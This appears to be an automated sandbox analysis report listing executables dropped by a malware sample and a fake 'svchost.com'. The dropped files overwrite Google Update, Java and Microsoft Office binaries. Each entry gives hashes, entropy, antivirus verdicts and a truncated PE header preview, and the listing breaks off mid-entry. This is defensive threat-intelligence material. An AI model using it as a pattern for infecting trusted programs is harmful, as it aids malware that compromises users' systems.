Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	227104
Entropy (8bit):	6.2330769171298925
Encrypted:	false
SSDEEP:	6144:PuKWt9h8QlLISZWVRohcq7dvni3F8QrBA/:by9hdFIdRoGUxi35rBU
MD5:	19E917EB830D0429C0E2E8F64114212B
SHA1:	5351AA18D019E6ED9123460431B4B28A0187A065
SHA-256:	6133D3AF6F4C30C1337C63B71947056FB3A46E2A269EB4F2E996E53DD8E95754
SHA-512:	A5CFFE837ADAC6B05C3D4F413C9461BD368A7CAFC3142DD5472BE292F1D17FB74571BC05FC8204F0781138016D76085DB843EEFC787033984FB42546F8DF24D3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264480
Entropy (8bit):	6.638998317491867
Encrypted:	false
SSDEEP:	6144:PumwCtJmRqyFmB6AOKmiMGwIAfx+iQ+FfFyLgG1da6edo:tw6JmRI6Bitwpx+iQafFykG1da6edo
MD5:	CC6410226CC9A5A311864C905A41F69D
SHA1:	C2E9C75DC6382238B2D7697576C5BB47A09AA1EF
SHA-256:	6118343C2990A8414501F08A6FC70E2888E8CDC193054E0410D5B5FF3EF63898
SHA-512:	DAE7626F1BFADCE4E9108CC20FBF84D5F86D1E9EBF7AA58B6386613C52718AF2C91ABFDD539F87297DBC2A5FB486619F4048FC831B96DC4AD924C61785AFA6AB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	149792
Entropy (8bit):	6.504334063798769
Encrypted:	false
SSDEEP:	3072:zr8WDrCz4qR8vSZksB+2hdqecER5AhC48S1m2YPrZ:Pu5ksB+0YlEXAe6QPt
MD5:	3782AA85B64BBBFD331D8170B86BCB0A
SHA1:	2FE109D8CDDC028910DC40DF789B90D8997B1557
SHA-256:	390F98A5B31D514641DFB13DDBCA0C071F4D8FD4F094C25859C98A672572B0C1
SHA-512:	D1DEBFF36BB931F544B48D611E0D513FFE7BA5A36650932F007B2C6198BDF8E4E1F253D0CCF24A25AF9066C5278EEEDA568EBA6FEE20B404377D4BB1A68253DF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.7881128883409
Encrypted:	false
SSDEEP:	6144:PuGXLYbH0QQchx73BeFStIhEWDoZvynCMj+TwW:xXEbH0j4x7R6SvyCMqn
MD5:	BB745A9E59BFDC3FED3D6ACC5EB1969E
SHA1:	B569EF5567BF533C49F4C59441D1881726DEA540
SHA-256:	5C257F423AFD510D6EE9EAB80273CC673995F966932466C9AD74EB2AA613A892
SHA-512:	B43198FC36F9DECB3767E6888B632093550394DF5D5826540A0BBDAE711931F595B398CE59C5F4676C1FDA7953C0702D57CC98D3E18309DEA517C536AB63CCCD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	135808
Entropy (8bit):	6.38873877226639
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCGrmKJGyeVK7qjh3rmKPNbS7cZPxyqPEoCW/ids8nBs+s8nK:zr8WDrCGqzyutjZqMNbSgxbFrj8m
MD5:	3DFB05D09AB50A01B467398603BEADB5
SHA1:	D8A8AD789717B3E83608AE510FBFF096861DC271
SHA-256:	A4844081CA91828B55104253A954E3B073D6E762D66A4EFA8F22AF9C4D995833
SHA-512:	D6FD943FA97432F80CD81621D5186D7D6CB8F7622604278BE31CFEEBF98A46A9007E3C71F6E392B9B41563CA5BC6BD9B86AAA3D6A4CF1B148179D7692F7A9A99
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.790537251287294
Encrypted:	false
SSDEEP:	6144:PuGkXCs7zYA9xiNFiVg7s/uDoeBvhI7W6w9:xkXCs/YAh/elvhI7Wd
MD5:	57150329C07A1CCA1C715687BBD681A0
SHA1:	EA1805323441B728107A98C5C88EB1609116F70E
SHA-256:	AFB4A253B3CFEFB7FA8C8AAB7FE10060AF5A33C10147EDBA4501C5089F407023
SHA-512:	2BD0008D28BDBBBDB0F6A8D01121FFCF9A6AD18147110F100D1EB3CD7B93EC3481F8D0358E427F94D53F01764B246C54FC49F57CFDBAB1831672218197DFC444
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	437888
Entropy (8bit):	6.42435194722595
Encrypted:	false
SSDEEP:	12288:xXNKdHVnfiMB7yIL+5IyoiYv5jPaeTmJWIvDxT9ULX8PCM:hKiBLZ05jNTmJWExixM
MD5:	E96B5A5F7432CF95AC667CC32CAB7CE1
SHA1:	F5729409A0AD909360DD9938FE05681E8C98BEA7
SHA-256:	22345B680E235E582820160A73A5221A98550D7947DC1F22FE768C51788B3614
SHA-512:	BF03F48889EA86C4C39B32B32760FE57293D85C5E6A88D3695CF4D7F7AB23B3F4ED07588987619B084AFFB51A61B3C7404E2D8177A29EC4AF343FCBD66F7C560
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163456
Entropy (8bit):	6.2758220261788
Encrypted:	false
SSDEEP:	3072:zr8WDrCm446dewltB2mNd/HOrveW1dexk834fRZ5Nyc:Pum446d7T/H4X
MD5:	51117D59430CF4C0EA72319AD8930BED
SHA1:	0A7AB6E54B1F62D9FEE7F48A594AFD0E3F7ED846
SHA-256:	CE688EDA6A1F081C10E862422F2C13F24797F21D2DA248E85C0CC81D96BF3010
SHA-512:	E05E6DA3D9728F5E04F5F4D2BF9B875BEA8CCD287BA207B2469D83F49BB6AA759C608B29A107D33BF8460F71840EADAB34CB1924DA3EE8F9E5DE741FB45045BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127104
Entropy (8bit):	6.059161475634893
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCds8nBs5s8nBskEsz2zy77hPxIAbBsnzA3QDkrDW8Kq5ns8w:zr8WDrCwUkEsqzy7pxI8BszFJqkb
MD5:	EF3C7B1D99C49F679F1DE40119454E82
SHA1:	E3869B9D17411A1DFB49630E8E9D0A379CCA1599
SHA-256:	4ECF5FCDD95ABA50DF6137D45EDB89467D33A31347525B422AA2A9B36809233B
SHA-512:	71D00F7B07E909CE5C54FBD85DDAAC2752B6B2AE2ED76EDADB4AA07AB1F7BDF25ECD77CB1742EEBAFBFA98087A4582879D4A2D277965D3D39F9E6ADEBA9170F5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	223360
Entropy (8bit):	6.084515656741608
Encrypted:	false
SSDEEP:	3072:zr8WDrC+ySSyyXC2BZC5vHa2L8jv+UII6qS2AroAxYN35gwxcPXtxdTsVcCXFzlb:PuuSyMZOy406qS2AroAxnw6f9JCXN1
MD5:	278E935C540125EB737FF60459E06954
SHA1:	3F2F868109AB1BE159D75FE1FCB78D5AB0F39A29
SHA-256:	7DD8239708026320DC7B738BF5B1F90117475EBF88BE8DA06B99E6A3E860596F
SHA-512:	21E3181E34FCC0D304F5A8EEFA0B92B676DF815BE984792D034FEB61E3189D73020AD5B6D82A5DF2434CD97AB2D1F48AD223B7007695F0673A2ECA8803D2C825
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	203264
Entropy (8bit):	6.625450286768847
Encrypted:	false
SSDEEP:	3072:zr8WDrC6wl0hzyfN7T34oshWGrAUdaz2w9Lf0M/RHym:Pu3iFIf34hcUsz225/
MD5:	241380ED43DD374CF6415E50B83CD0BD
SHA1:	5F4F79F4DBEB1201DFC3D3A83BB1D5400D11F045
SHA-256:	D3CA30B886E1F07EC6AC3989C091EBD5E97F1196D9BD554A2546EF3B4DF61EA4
SHA-512:	D4BF86E17996171B67900847372EFECDC41E7F87621F831FD882E8DEAE49F5A45B218E375AE2347E862C438C11906E2CC67E062A0BC2D1265C968789FA8F68E4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	209912
Entropy (8bit):	6.335658991643739
Encrypted:	false
SSDEEP:	3072:zr8WDrCUfSoD7sDZ7/E2jijQvZ2ha5ZxXHyz7weLSMqpmmtj:PuUfSoD7q/fji2SUKz7VHwmmtj
MD5:	0DB388DA73178AB846638C787D1DD91E
SHA1:	64D79EC424EF95DE05D484C3BDC446642552879B
SHA-256:	E71DDCCD4996D121D5C7901A367E024266727C4C713635A25B74EB0C132CD59F
SHA-512:	94288DB9B2615FDA0BD27A46EEDBDB3F8FE3E8C2B2985D2B69244B47A7369AD5F357D060DE52FD4C5E9746CF7A3343417A77476A153F49058D8F8C2E61EBFB11
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	209912
Entropy (8bit):	6.335658991643739
Encrypted:	false
SSDEEP:	3072:zr8WDrCUfSoD7sDZ7/E2jijQvZ2ha5ZxXHyz7weLSMqpmmtj:PuUfSoD7q/fji2SUKz7VHwmmtj
MD5:	0DB388DA73178AB846638C787D1DD91E
SHA1:	64D79EC424EF95DE05D484C3BDC446642552879B
SHA-256:	E71DDCCD4996D121D5C7901A367E024266727C4C713635A25B74EB0C132CD59F
SHA-512:	94288DB9B2615FDA0BD27A46EEDBDB3F8FE3E8C2B2985D2B69244B47A7369AD5F357D060DE52FD4C5E9746CF7A3343417A77476A153F49058D8F8C2E61EBFB11
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264144
Entropy (8bit):	5.859978790158535
Encrypted:	false
SSDEEP:	3072:zr8WDrC2PEGT3EB2e1aWGNU6ITL85x0HRerzJ0YF6OYLy0PPDq29BA+7891:Pu2PEC0QjWGNU6ITL1H0zvjkBA+7891
MD5:	B2A0013F6770F98CD5D22419C506CD32
SHA1:	D1B9E2EBBE6255A386AFE69A9523B7D2BE1E05EA
SHA-256:	87C62BFBF6609662EE24C1B9FD1AB2CF261F68E5F1402CB7E2F6755023A29841
SHA-512:	3302A6D3AB1DC7CB725F4E0DA1A82ECEC7207C7CDF2050410625AFF4E51C17B3A38DB8630ED34E111344C66BC603C3939A46E52A3EE6E1EF282DB1E93E61036F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	430680
Entropy (8bit):	6.625803592345581
Encrypted:	false
SSDEEP:	6144:Puvmmt0fSoD7ZAOhPiURg/4KAaxZTTlvIfaUcuI4hWxBP9SGO0zyqEL:Pmt0LDdOUO42ZdocuI4kxBgGONqEL
MD5:	2463BF0CFD3790EACDB9BFCCA012D2D2
SHA1:	B3EAED3711C1A369A3359BD6ECEF26DDB824B9D2
SHA-256:	FD879B6629EBDFB190FAB80B29DEA52997A75FC44845749552815DA18EA07532
SHA-512:	494FAECC19D7B59548E04CA1CDDE618B9636ED3FC159D526ECC9E4F05DBDF0A96F3C0ABECD4B90BCC1ED7ACA57A9E38400CDCF06C19936D3407D3D5A10B9CC6B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4515048
Entropy (8bit):	6.567096981650344
Encrypted:	false
SSDEEP:	98304:9kkCqyDEY7+o3OBvfGVY+40yajyS+9s/pLO:9kkCqaE68eV+0y8E6L
MD5:	01448CF2493F7A1B92F3634CF36C913B
SHA1:	0E2A5F5CD8F1978E9EA11560407D23A520D73EBB
SHA-256:	7A7F1F076645C6A071B2FEF692B9BDE8D1C93270D31ABF10D42AFB552970659A
SHA-512:	E0AD692F883EC14BD606954F2B6C0EF8A8BF64E13BBD25E8C6C083FFE259B253319A033827B9998B8F70F2369809AFED9D54CD136DC395E4AA25C6A9CE93154A
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4316096
Entropy (8bit):	3.9254629343592016
Encrypted:	false
SSDEEP:	98304:jPNLniBaEJhRELqS/rhwov59SRZ5Vb9sybbsK+0rnsQ:TNLniBPJhRELqS/rhb59SRZ5Vb9sybb9
MD5:	AB9C308CB62C689AEC4171AF74B99607
SHA1:	2AFBE3B52505B17653C30E8C51A8A434BB83433D
SHA-256:	5B23BCB1EB5124A1FA7160014A7BE5A546CAFE00AE7FFFCFB19C237552281499
SHA-512:	688D62C8CC8B7E699D379FE5FDA6DC808787E11C369C5CBDFA3559E2B61B607C0AF252232775BA04C2AD082C21DBA2224E6C34E131381EDD52EF0C2539C70484
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	94600
Entropy (8bit):	6.430762305801649
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCuELjOzHKd1XI/etzCJQx0cxnIO/IOmOe:zr8WDrCuE/OTKXI/etG8ICILJ
MD5:	29065F4177E1DFFC20CF409E15644D07
SHA1:	2A506101526624DF3C693E3F9501E7FD0332A5F3
SHA-256:	A572BFF875EA91F7324C87C4966ED38AE29C87A3B999E9EEDCF82730921F1AEA
SHA-512:	611B4D7DF2C4D2B37E6C152B0416A047166B78C999B1C7A6B39D11FE73CB80BA55F4822B9503642CB289730D90A608FA08DC909A845F77A8A13C967689A3C00B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	101496
Entropy (8bit):	6.2393274170193935
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCcvpz3ktxGvpzvy5ZWGalHFmMTK0KRTS8bOzc:zr8WDrCKToATzvmN0KRm8bOzc
MD5:	16918B2CAE1E6169BB9725597CB7383D
SHA1:	F7539B44190222E9917B3D404A1BBAE7D32D9925
SHA-256:	CB2DFD05D0EFDBEE9DA0E844020762C3124C9BDEEE868534F5E6A383FE312DD1
SHA-512:	A4DF06513B73244A4F04B1F9F38DABB1045B7D4539B0E3D7AE88304EB0554BCC7F38A4B93CDA67C538D49242AA7F3B0524A39B395DBA74E372A754DFB26E803D
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	455760
Entropy (8bit):	5.9316971297219085
Encrypted:	false
SSDEEP:	6144:Pu5wACThwS0vn9IdRsLGEJTdPA6lDfZNAGVx:SwACThwSSn2dRANtlF3j
MD5:	EE123EC97226518C7A526A514A7EA08D
SHA1:	8D53600BF398A582227F4B1B1DF6F815CC5CA046
SHA-256:	767FE1BDB52D43DB570CA6AFD1E86FA00868FE36C8B4BD69A7BEF79876D7D04E
SHA-512:	4B6E4B0EE7E22276CC638531A4151717E965E10B54874B499026383F290B4D66C48E7761C94E336B62A53972E148CD22B4AAC04B6F265BA7889EF52137CA4A7F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	225704
Entropy (8bit):	6.245888252421863
Encrypted:	false
SSDEEP:	3072:zr8WDrCNLqB8edYkIrv6TXRw9xwqazULDjkAJZo0RAjUIqXfkRC:PuRjilq8OPwRzso6AQ5yC
MD5:	58FCC2021F6669D332B12379F34E6ABA
SHA1:	C261CF77942748482EA6423B2816071BAC404855
SHA-256:	099D81B808C4A1507092974E4C79187470FC4D5BC1049DE99B7D87D68FFD8A8D
SHA-512:	2637E583059CA760EACB66649519751191FC96FD3589DE8E17D0AC73C957D9256A50105D03727D19A1193DFB61FF1450AD65DEEA8692EF2D947051D85062E8C1
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	84928
Entropy (8bit):	6.484542699354416
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCh67wZClMML07MiapFmPRHyzMwzobtM+zf:zr8WDrCh67wZClMMQ7MiawHyzMwsL
MD5:	6E3355F8734F6DA5FAC15DF47A197B0F
SHA1:	C933D5E414F6594D61E56FEC641373E33AD3C3ED
SHA-256:	052C62D09235DDD70A3C52C7071D20711F2D4F1F7F653AEA54FB023EC2626B12
SHA-512:	1B108643E2DF6476B167E233B7A3E249A2BCB89006B3C87FEEB90FC96214B52E0BC466C010AE03ED6BECF18864F96B0D5EED6F4720A1CDA70829B4631D3917FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83816
Entropy (8bit):	6.536836051910162
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrC+0s7wZClMML072apFmPcnGzLHyxz5pOEtmwxz5E:zr8WDrC+t7wZClMMQ72ahnGzextQyxtE
MD5:	D713C72B72F2554BC5F57573AD79C596
SHA1:	82F518A57C167F1CFE80D7D43ED28084C2D57933
